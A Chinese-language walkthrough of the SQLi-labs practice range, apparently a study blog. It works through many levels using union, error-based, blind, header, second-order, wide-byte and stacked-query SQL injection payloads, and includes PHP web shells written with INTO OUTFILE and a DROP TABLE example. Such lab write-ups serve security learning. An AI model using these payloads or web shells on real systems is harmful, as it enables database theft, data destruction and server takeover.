SQL-labs靶场系列
less-1(联合注入)
SQLI-labs数据库类型为mysql
根据提示输入数字值的ID作为参数,我们输入?id=1
判断是否存在SQL注入:
分别输入?id=1 ?id=2
根据返回结果的不同判断出我们的参数是成功被带入语句查询的
判断sql语句是否是拼接,是字符型还是数字型。
输入?id=1'
根据提示将后面的limit进行注释
?id=1'--+
可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。
第一步:判断列数
?id=1'order by 3 --+ ?id=1'order by 4 --+
到四就出现出错,所以判断为3列
第二步:爆出显示位
?id=-1'union select 1,2,3--+
判断出显示位为2,3
第三步:查询数据库名字,版本
?id=-1'union select 1,database(),version()--+
名字为security、版本为8.0,存在information_schema数据库
第四步:查询表名
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
说明security数据库下存在四个表,其中user表可能存在用户信息
第五步:查询列名
?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+
说明存在该数据库中的user表存在三个字段
第六步:查询数据
这一步不再需要联合注入,因为通过最初的注入判断,我们可以知道我们当前查询的位置其实就是在security数据库中
?id=-1' union select 1,2,group_concat(username,id , password) from users--+
成功爆出用户名和密码
less-5(报错注入)
可以发现输入id值得不到回显的结果,于是猜测查询结果被后端进行了处理
第一步:判断注入类型
分别输入http://127.0.0.1/sqli-labs/Less-5/?id=1' and 1=1--+
和http://127.0.0.1/sqli-labs/Less-5/?id=1' and 1=2--+
可以发现为字符型注入
第二步:爆出相关数据库信息—采用报错注入
http://127.0.0.1/sqli-labs/Less-5/?id=1' and (extractvalue(1,concat(0x7e,(select user()),0x7e))) --+
得到数据库用户名,同样的方法获取数据库版本和数据库名
第三步:利用报错注入进行数据库表名、列名数据的获取
http://127.0.0.1/sqli-labs/Less-5/?id=1' AND extractvalue(1, concat(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))) --+
这里注意加limit是为了让报错注入能回显结果,不加的话可能只会结果太多会提示字句返回超过1行
然后依次变化limit后的值为0,1,2,3,4。。。直到不再产生回显
试到4时就没有回显,故因此可知该数据库共有三个表,第三个为user表,于是开始users表的列名
1' AND extractvalue(1, concat(0x7e, (SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='table_name' LIMIT 0,1))) --+
这样爆出的结果也只有一个,需要跟上述爆表名步骤一样对limit后面的值依次进行变化,知道无回显
可以看到字段数为3个分别是id,username、password,最后可以开始获取数据值了
爆出第一个用户的用户名和密码
http://127.0.0.1/sqli-labs/Less-5/?id=1' AND extractvalue(1, concat(0x7e, (SELECT username from users limit 0,1),0x7e)) --+
http://127.0.0.1/sqli-labs/Less-5/?id=1' AND extractvalue(1, concat(0x7e, (SELECT password from users limit 0,1),0x7e)) --+
其他用户的也是如此
less-6(布尔盲注)
同样输入参数ID值也是没有回显,于是先利用布尔盲注猜解
http://127.0.0.1/sqli-labs/Less-6/?id=1" and 1=2 --+
判断为”的字符型注入
先猜解数据库版本
http://127.0.0.1/sqli-labs/Less-6/?id=1" AND substring(version(), 1, 1) = '8' --+
回显正确,故数据库版本是8.0以上,存在information_schema数据库
于是先猜解数据库长度
http://127.0.0.1/sqli-labs/Less-6/?id=1" and length(database())<8 --+ 回显报错
http://127.0.0.1/sqli-labs/Less-6/?id=1" and length(database())<9 --+ 回显正常
于是猜测数据库长度为8,于是开始猜解数据库名称,可以采用二分法
http://127.0.0.1/sqli-labs/Less-6/?id=1"and ord(mid(database(),1,1)) < 200 --+
http://127.0.0.1/sqli-labs/Less-6/?id=1"and ord(mid(database(),1,1)) > 100 --+
上述两条语句能确定数据库名称第一个字符ascii码小于200大于100,依次采用二分法能确定出最后的范围 确定出数据库名首字符为s
然后确定数据库名第二个字符、第三个字符。。。到第八个字符
http://127.0.0.1/sqli-labs/Less-6/?id=1"and ord(mid(database(),2,1)) =101--+ 第二个字符为e
最后依次确定拼接可得到security
于是开始猜解表的总数和表名(同样也可以用二分法确定)
http://127.0.0.1/sqli-labs/Less-6/?id=1" and (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()) = 4 --+
得到表的总数为4,于是开始猜解表名长度
猜解第一个表名的长度:
http://127.0.0.1/sqli-labs/Less-6/?id=1" and (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1) = 6 --+
猜解第二个表名长度:
http://127.0.0.1/sqli-labs/Less-6/?id=1" and (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1) = 8 --+
猜解第三个表名长度:
http://127.0.0.1/sqli-labs/Less-6/?id=1" and (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 2,1) = 7 --+
猜解第四个表名长度:
http://127.0.0.1/sqli-labs/Less-6/?id=1" and (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 3,1) = 5 --+
然后得到第一、二、三、四表名长度分别是6、8、7、5,于是开始猜解表名,这个过程比较复杂,这里一笔带过
猜解第四个表名
首字符:
http://127.0.0.1/sqli-labs/Less-6/?id=1" and mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit 3,1 ),1,1) = 'u' --+
第二个字符:
http://127.0.0.1/sqli-labs/Less-6/?id=1" and mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit 3,1 ),1,1) = 's' --+
最后得到表名为users
最后猜解列名长度
猜解第一个列名长度
http://127.0.0.1/sqli-labs/Less-6/?id=1" AND (SELECT length(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='users' LIMIT 0,1) = 2 --+
猜解第二个列明长度
http://127.0.0.1/sqli-labs/Less-6/?id=1" AND (SELECT length(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='users' LIMIT 1,1) = 2 --+
最后得到该表中有三个列名长度分别为2、8、8。于是最后猜解列名,(一般首先就想到username、password)
http://127.0.0.1/sqli-labs/Less-6/?id=1"AND ascii(substring((SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='users' LIMIT 1,1), 1, 1)) =117 --+
通过猜解第一个字符可以发现的确是u,明显就是username。最后便可以猜解数据值
http://127.0.0.1/sqli-labs/Less-6/?id=1" AND ascii(substring((SELECT username FROM users LIMIT 0,1), 0, 1)) = 68 --+
最后得到username列的第一个数据值首字符为D,同样方法猜解后和密码可得到用户名Dumb和密码Dumb
同样这类问题也能使用延时注入猜解也能解决这个问题
1" AND IF(ascii(substring((SELECT username FROM users LIMIT 0,1), 1, 1)) = 68, SLEEP(5), 0) --+
less-7(文件导入)
判断注入类型 字符型
http://127.0.0.1/sqli-labs/Less-7/?id=1')) and 1=2 --+
http://127.0.0.1/sqli-labs/Less-7/?id=1')) and 1=1 --+
根据提示use outfile判断应该是进行文件读写
http://127.0.0.1/sqli-labs/Less-7/?id=1')) and (select count(*) from mysql.user)>0 --+
爆字段值:到4报错说明有三个字段
?id=1')) order by 3--+
找绝对路径,由于要得到网站的绝对路径,我这里用靶场第二关来获得绝对路径。@@basedir是安装MYSQL的安装路径,@@datadir是安装MYSQL的数据文件路径,这里利用第二关的获取到靶场文件路径
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,@@basedir,@@datadir--+
于是推断路径为D:\phpStudy_64\phpstudy_pro\WWW\sqli-labs\Less-7
然后测试文件读写,运行后可以发现在文件夹中创建了q.txt文件,并写入了查询内容
http://127.0.0.1/sqli-labs/Less-7/?id=-1 UNION SELECT version(),database(),user() into outfile "D:\\phpStudy_64\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\q.txt" --+
然后编写一句话木马,直接将一句话木马导入进去。两个//是防转义
union select 1,"<?php eval($_REQUEST[1])?>",3 into outfile "D://phpStudy_64//phpstudy_pro//WWW//sqli-labs//Less-7//shell.php"--+
或者
union select 1,"<?php eval($_REQUEST[1])?>",3 into outfile "D:\\phpStudy_64\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\shell.php"--+
注意:这里需要提前开启php靶场允许文件读写的设置
我们可以在文件中看到一句话木马已经导入进去了
此时用菜刀、蚁剑等 webshell 管理工具连接即可
less-9(时间盲注)
第九关会发现我们不管输入什么页面显示的东西都是一样的,这个时候布尔盲注就不适合我们用,布尔盲注适合页面对于错误和正确结果有不同反应。如果页面一直不变这个时候我们可以使用时间注入,时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep()函数。if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。通过页面时间来判断出id参数是单引号字符串。
?id=1' and if(1=1,sleep(5),1)--+
?id=1' and if(1=2,sleep(5),1)--+
根据回显时长可知存在注入
判断数据库名长度
?id=1'and if(length((select database()))>9,sleep(5),1)--+
?id=1'and if(length((select database()))>7,sleep(5),1)--+
最后可知到数据库名字长度为8
逐一判断数据库字符
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
最后得到数据库名称为security
然后判断所有表的表名长度之和
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
然后逐一判断表名
?id=1'and If(ascii(substr((select table_name from information_s
chema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+
猜测第一个数据表的第一位是 e,...依次类推,得到 emails
http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select table_name from information_s
chema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5))--+
猜测第二个数据表的第一位是 r,...依次类推,得到 referers
再以此类推,我们可以得到所有的数据表 emails,referers,uagents,users
然后判断字段长度
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
然后判断逐一字段名猜测 users 表的列:
?id=1'and If(ascii(substr((select column_name from information
_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+
猜测 users 表的第一个列的第一个字符是 i,
以此类推,我们得到列名是 id,username,password
然后逐一检测内容猜测 username 的值:
?id=1'and If(ascii(substr((select username from users limit 0,1), 1,1))=68,1,sleep(5))--+
猜测 username 的第一行的第一位
以此类推,我们得到数据库 username,password 的所有内容
less-11(POST注入)
进入发现是一个登陆框的注入类型
随便输入一个用户名和密码出现下图:登陆失败
输入1′ 和 1 得到提示信息
说明应该是单引号闭合方式,且注入的参数是通过POST方式提交。
抓包,得到:
开始注入
uname=ele' order by 2#&passwd=pass&submit=Submit,没有报错
uname=ele' order by 3#&passwd=pass&submit=Submit,报错了,从而知道查询结果是两列
然后采用union注入依次爆出数据库、表、列名
爆出数据库为security
uname=1' union select version(),database()#&passwd=pass&submit=Submit
爆出该数据库下表名有四个
uname=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'security'#&passwd=pass&submit=Submit
爆出user表中的列名
uname=1' union select 1,group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name='userS'#&passwd=pass&submit=Submit
爆出数据库的用户内容
uname=ele' union select group_concat(username),group_concat(password) from users#&passwd=pass&submit=Submit
less-13(无回显的POST盲注)
本关我们输入 username:admin’ Password: (随便输)
我们可以知道程序对 id 进行了 ‘) 的处理。我们可以明显的看到本关不会显示你的登录信息了,只能给你一个是否登录成功的返回数据。
那我们这里可以用下布尔类型的盲注。用order by可知这里也是两列数据
然后与less-7一样即可,同样也可以用报错注入和时间盲注
less-17(增删改查)
本关我们可以看到是一个修改密码的过程,利用的是 update 语句,与在用 select 时是一样的,我们仅需要将原先的闭合,构造自己的 payload。
根据updata的语法:
updata 表名 set 列名='新的值,非数字加单引号' ;
带条件的修改:updata 表名 set 列名='新的值,非数字加单引号' where id=6;
输入Username:admin Password:1’测试
可以看到 admin’’ 说明在对密码的处理过程中使用的是 ‘’ 。接下来利用盲注进行注入。这里首先演示一下报错类型的盲注。
爆出数据库版本
uname=admin&passwd=11'and extractvalue(1,concat(0x7e,(select @@version),0x7e))#&sub
mit=Submit
同理也得到数据库名为security
爆出数据库表
uname=admin&passwd=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1)#&submit=Submit
爆出users表的列名
uname=admin&passwd=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,31),0x7e),1)#&submit=Submit
爆数据
uname=admin&passwd=' OR updatexml(1,concat('!',(SELECT group_concat(':',username,password) FROM users)),1)# &submit=Submit
出现回显: “You can’t specify target table ‘users’ for update in FROM clause”。
这里我们无法直接从 users 表拿数据,我们可以先用一个表暂存从 users 表中取出所有数据的查询,然后再从这个暂存的表中取出数据。构造出的 payload 如下,思路就是利用一个查询从另一个查询中取出数据,以此绕过表的限制。
uname=admin&passwd=' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1))#submit=submit
通过修改 LIMIT 子句的返回行数,就能取出其他行的查询结果。
uname=admin&passwd=' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 1,1)),1))#submit=submit
这道题给出源码:
$uname = check_input($_POST['uname']);
$passwd = $_POST['passwd'];
// connectivity
@$sql = "SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
if($row)
{
//echo '<font color= "#0000ff">';
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update = "UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
//echo "<br>";
if (mysql_error())
{
echo '<font color= "#FFFF00" font size = 3 >';
print_r(mysql_error());
echo "</br></br>";
echo "</font>";
}
else
{
echo '<font color= "#FFFF00" font size = 3 >';
//echo " You password has been successfully updated " ;
echo "<br>";
echo "</font>";
}
echo '<img src="../images/flag1.jpg" />';
//echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font size="4.5" color="#FFFF00">';
//echo "Bug off you Silly Dumb hacker";
echo "</br>";
echo '<img src="../images/slap1.jpg" />';
echo "</font>";
}
服务器先对用户名进行查询,若用户名存在则用传进的参数 passwd 覆盖掉原来的密码。也就是说只有当第一个 SELECT 执行成功时,UPDATE 语句才会被执行。为什么我们无法对 SELECT 语句进行注入?注意到 SELECT 是针对 uname 参数进行查询,但是当 uname 参数被传入时进入了 check_input() 函数,从而怀疑 check_input() 函数对传入的字符串进行了过滤。
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
}
check_input() 函数#
可以明显看到该函数对 uname 参数进行了强效的过滤。首先函数使用了 substr() 函数截取 uname 的前 15 位字符,限制了 uname 的输入长度。接着使用 get_magic_quotes_gpc() 函数判断 “magic_quotes_gpc” 是否是开启的,若是开启的就使用 stripslashes() 函数对单引号、双引号、反斜杠与 NULL等危险的字符进行转义。接着使用 ctype_digit() 函数判断 uname 是否为数字,若不是数字就使用 mysql_real_escape_string() 函数对字符进行转义,否则就使用 intval() 函数把数字转换为整型。
由此可见对 SELECT 语句的过滤是很强的,我们把通过 uname 参数注入 “a’ OR 1 = 1#” 经过滤处理的 SELECT 语句输出来看看。可以看到经过转义,我们无法从该语句进行注入。
但是 UPDATE 语句并没有进行过滤,因此当我们可以绕过 SELECT 语句时,就可以通过 UPDATE 进行注入。为了加深理解,我们把注入后闭合的 UPDATE 语句输出来看看。
UPDATE users SET password = '' OR updatexml(1,concat("!",database()),2)#' WHERE username='admin'
Less-18(HTTP头部注入)
源码中可以看到如下部分:
代码对参数Uname和password进行了过滤,但是在ip地址上并没有进行过滤,于是思路大概可以从ip地址获取注入方向。接下来注入个错误的用户名和密码,网页显示登录失败且仅回显了 IP Address。
判断注入类型,在用户名使用下面的所有注入,网页都回显密码修改失败。
a' OR 1 = 1#
a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#
密码上的注入也都是错误,但是抓包,注意到登录成功时,User Agent 会被回显到网页上,我们考虑 User Agent 头可能会存在注入。使用 brup 抓包,注入各种参数试试,都登录失败。
User-Agent: '
到此,我们得知在登录成功之后会执行另一个 Sql 语句,该语句会因为 User Agent 头而存在字符型注入漏洞。
由于我们不知道第二个 Sql 语句具体长啥样,因此我们要先测试如何正确闭合该 Sql 语句。使用单引号闭合后,使用 “#” 注释掉后面的语句,注入失败。
注入 2 个连续的单引号,发现闭合成功,由此可见 2 个单引号分别闭合了 2 侧的单引号。
User-Agent: ''
在注入的两个单引号之间可以插入其他 Sql 语句,我们在这里放置 updatexml() 报错注入语句。注意使用单引号闭合两侧的 Sql 语句时,相当于把它分割成了 2 部分,插入 updatexml() 报错时要用 OR 进行连接。
User-Agent: ' OR updatexml(1,concat("!",database()),2) OR '
知道了闭合方式之后,注入的步骤和 Less 17 差不多。爆表名,XPath_string 参数可以使用一个 SELECT 查询结果,使用 group_concat() 函数聚合。
User-Agent: ' OR updatexml(1,concat("!",(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security')),2) OR '
爆字段名,继续使用 updatexml() 报错注入。
User-Agent: ' OR updatexml(1,concat("!",(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users')),2) OR '
使用报错注入回显用户名和密码,先用一个表暂存从 users 表中取出所有数据的查询,然后再从这个暂存的表中取出数据。
User-Agent: ' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1)) OR '
通过修改 LIMIT 子句的返回行数,就能取出其他行的查询结果。
User-Agent: ' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1)) OR '
完整源码
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql = "SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert = "INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "</font>";
//echo "<br>";
echo '<font color= "#0000ff" font size = 3 >';
echo 'Your User Agent is: ' .$uagent;
echo "</font>";
echo "<br>";
print_r(mysql_error());
echo "<br><br>";
echo '<img src="../images/flag.jpg" />';
echo "<br>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}
}
不出所料 uname 和 passwd 都进行了强效的过滤,这导致了 SELECT 语句难以注入。在成功登录的情况下,网页会使用 INSERT 语句把 User-Agent 写入数据库中,而我们就是使用 INSERT 语句进行注入的。
为了加深理解,我们把闭合后的 INSERT 输出来看看,可以看到 User-Agent 中的 payload 被成功放入。
INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('' OR updatexml(1,concat("!",database()),2) OR '', '127.0.0.1', 'admin')
less-23(注释符过滤)
?id=1 回显正常
?id=1' 回显不正常
?id=1'#回显也不正常,说明注释符可能被过滤
?id=1' and '1'='1 回显正常
?id=1' and '1'='2 回显失败
存在注入且注释符被过滤,为字符型注入
那么这里就不能再用order by 去猜测回显列数,因为注释符被过滤
?id=-1' union select 1,2,3 or '1'='1
通过不停加数字判断最后根据页面显示是三列,且显示位是2号。
开始注入
查询数据库版本和名称
?id=-1' union select 1,database(),3 or '1'='1
之后利用联合注入配合mysql的information数据库进行查询即可
less-24(二次注入)
第二十四关有一个登录页面和注册页面还要一个修改密码页面,该关卡使用得是二次注入,因为登录页面和注册页面对于密码和账户名都使用mysql_real_escape_string函数对于特殊字符进行转义
这里我们利用的是注册页面,因为虽然存在函数对特殊字符进行转义,但只是在调用sql语句时候进行转义,当注册成功后账户密码存在到数据库的时候是没有转义的,以原本数据存入数据库的。当我们修改密码的时候,对于账户名是没有进行过滤的。
首先我们看到管理员账户,admin,密码是1,但是通常情况下我们是不知道密码的,只能猜测管理员账户的admin。我们先注册一个账号名叫admin’#。
我们先注册一个账号名叫admin’#。可以看到我们成功将有污染的数据写入数据库。单引号是为了和之后密码修的用户名的单引号进行闭合,#是为了注释后面的数据。
之后也用户名admin’#和密码是123456登录,进入修改密码页面。原始密码输入123456,新密码我输入的是111111,可以看到密码修改成功。
当我们数据库查看的时候发现修改的是管理员的密码。而不是我们的注册账户的密码。
这样就可以成功登陆进入admin账户
less-25(关键字过滤)
根据提示是将or和and这两个替换成空,但是只替换一次。大小写绕过没有用。我们可以采用双写绕过。本次关卡使用联合注入就可以了,information里面涉及or可以写成infoorrmation。
http://192.168.34.202/sqli-labs/Less-25/?id=-1' union select 1,2,3--+
回显位为2,3
?id=-2' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'--+
less-26(空格过滤)
第二十六关将逻辑运算符,注释符以及空格给过滤了,我们需要使用单引号进行闭合,双写绕过逻辑运算符或者使用&&和||替换。空格绕过网上找了些资料,对于绕过空格限制有大把的方式对于空格,有较多的方法:%09 TAB键(水平)、%0a 新建一行、%0c 新的一页、%0d return功能、%0b TAB键(垂直)、%a0 空格,我在windows和kali里面都用不了,可能是因为apache解析不了。只能使用()绕过。报错注入空格使用比较少所以我们可以使用报错注入。
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))||'0 爆表
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))||'0 爆字段
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))||'0 爆密码账户
less-29(参数验证)
二十九关就是会对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候只提取了第一个id值,如果我们有两个id参数,第一个id参数正常数字,第二个id参数进行sql注入。sql语句在接受相同参数时候接受的是后面的参数值。
?id=1&id=-2%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+ 爆表
?id=1&id=-2%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name='users'--+ 爆字段
?id=1&id=-2%27%20union%20select%201,group_concat(password,username),3%20from%20users--+
爆密码账户
less-32(宽字节注入+魔术引号)
第三十二关使用preg_replace函数将 斜杠,单引号和双引号过滤了,如果输入id=1″会变成id=1″,使得引号不起作用,但是可以注意到数据库使用了gbk编码。这里我们可以采用宽字节注入。当某字符的大小为一个字节时,称其字符为窄字节当某字符的大小为两个字节时,称其字符为宽字节。所有英文默认占一个字节,汉字占两个字节。
?id=-1%df' or 1=2 --+回显失败
?id=-1%df' or 1=1 --+回显正常
?id=-1%df%27%20union%20select%201,database(),3%20--+
?id=-1%df%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+ 爆表
?id=-1%df%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+ 爆字段
?id=-1%df%27%20union%20select%201,group_concat(password,username),3%20from%20users--+
less-34(post方式的宽字节注入)
三十四关是post提交,使用addslashes函数对于账户和密码都进行转义,使用宽字节注入就行。
1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273--+ 爆字段名
1%df%27 union select 1,group_concat(password,username) from users--+ 爆密码账户
less–35(编码)
使用addslashes函数对于输入的内容进行转义,但是id参数没有引号,主要影响在与后续爆字段时候需要用的表名加了引号,只需将表名换成十六进制编码就行,直接使用联合查询就可以了
?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+ 爆表
?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+ 爆字段
?id=-1%20union%20select%201,group_concat(password,username),3%20from%20users--+
less-38(堆叠注入)
三十八关其实就是单引号闭合,使用正常单引号闭合就可以进行注入,不过这里可以有另外一种注入就是堆叠注入,因为存在mysqli_multi_query函数,该函数支持多条sql语句同时进行。
?id=1';insert into users(id,username,password) values ('38','less38','hello')--+
#向数据表插入自己的账户密码
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())b--+ 查询字段
?id=-1' union select 1,2,(select group_concat(username,password) from users)b--+ 查询密码账户
less-42(堆叠注入)
Update 更新数据后,经过 mysql_real_escape_string()处理后的数据,存入到数据库当中后不
会发生变化。在 select 调用的时候才能发挥作用。所以不用考虑在更新密码处进行注入,这
关和二次注入的思路是不一样的。
本关从 login.php 源代码中分析可知:
Password 变量在 post 过程中,没有通过 mysql_real_escape_string()函数的处理。因此在登录
的时候密码选项我们可以进行 attack。
登录用户名随意
密码登录用以下的方式 c’;drop table me#
(删除 me 表)
c’;create table me like users#
(创建一个 me 的表)
下面这张图是我们没有登录时数据库当中存在的表
此处登录 username:admin
Password:c’;create table less42 like users#
原 sql 语句为
$sql = “SELECT * FROM users WHERE username=’$username’ and password=’$password'”;
登录时构造的 sql 语句为
SELECT * FROM users WHERE username=’admin’ and password=’c’;create table less42 like users#
利用 stacked injection,我们成功执行创建数据表 less42 的语句。
从下图可以看出 show tables 后已经成功创建 less42 表。
利用 c’;drop table me#作为登录密码,删除该表。
同样的利用此方式可以更新和插入数据项,这里就不进行演示了。
less-46(order by注入)
试试sort值分别取1,2,3,就能发现,这关的参数是order by后面的值,也就是说,这关的sort参数值表示根据表的哪一列来排列查询结果
比如下图sort的值为3,表示根据第三列,也就是PASSWORD的大小来排序查询结果
order by后面是不能接union select的,可以试试会不会报sql语法错误,如果会报,就可以用报错注入。
?sort=3'
报了sql语法错误,根据报错信息,本关无闭合符号。
下面就可以用报错注入的方法来爆数据了:
#获取服务器上所有数据库的名称
?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)
?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),32,31),0x7e),1)
?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),63,31),0x7e),1)
#获取security数据库的所有表名称
?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security),1,31),0x7e),1)
?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=security'),32,31),0x7e),1)
#获取security数据库users表的所有列名称
?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),1,31),0x7e),1)
#获取security数据库users表的uname和password列的所有值
?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)
?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),32,31),0x7e),1)
?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),63,31),0x7e),1)
写webshell可以用下面的payload:
?sort=3 limit 0,1 into outfile 'C:/phpstudy_pro/WWW/46.php' lines terminated by 0x3C3F7068702061737365727428245F504F53545B6C65737334365D293B3F3E
服务器上被写入的webshell
less-49(与46一样,不过改成延时注入)
四十九关和四十六一样只不过没有报错显示,所以使用延时注入。且多出一个单引号
?sort=1" 回显正常
?sort=1' 回显失败
且 ?sort=1'--+ 回显正常
说明为单引号验证方式
尝试布尔盲注
?sort=1' and rand(1)-- s
?sort=1' and rand(0)-- s
两者回显结果也都一样,看来没有错误提示,于是采用时间盲注
?sort=1' and if(0,sleep(0.1),1)
?sort=1' and if(1,sleep(0.1),1)
第一条payload回显无时延,第二条有时延
剩下的就和其他时间盲注类似了,或者文件上传
?sort=1' into outfile "c:\\wamp\\www\\sqllib\\test. php" lines terminated by 0x3c3f70687020706870696e666f28293b3f3e2020--+
less-54(限次数注入)
五十四关翻译页面的英文,得知只有十次输入机会,超过十次所有表名,列名,等等都会随机重置。
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ 爆表名
一个表名
v2ong09mwi
?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where%20table_schema=database() and table_name='v2ong09mwi'--+ 爆列名
四个字段:
id,secret_VB0D,sessid,tryy
?id=-1'union select 1,group_concat(secret_VB0D),3 from v2ong09mwi--+ 获取key值
然后将获取到的key值提交即可
less-58(数组)
五十八关和前面几关不一样,因为该关卡的数据不是直接数据库里面取得,而是在一个数组里面取出得。所以联合注入是不行得。但是有报错显示,所以可以使用报错注入。
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ 爆库名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+
爆表名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='v2ong09mwi'),0x7e),1)--+
爆列名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_VB0D) from v2ong09mwi),0x7e),1)--+
less-62(综合)
六十二关没有报错显示,可以使用布尔盲注和时间注入。id参数是单引号加括号。第五关(布尔盲注),第九关(时间注入)id参数是单引号加括号。
?id=1') and if(length((select database()))=10,sleep(5),1)--+ 时间注入,如果出现延迟表示该数据库名长度是10
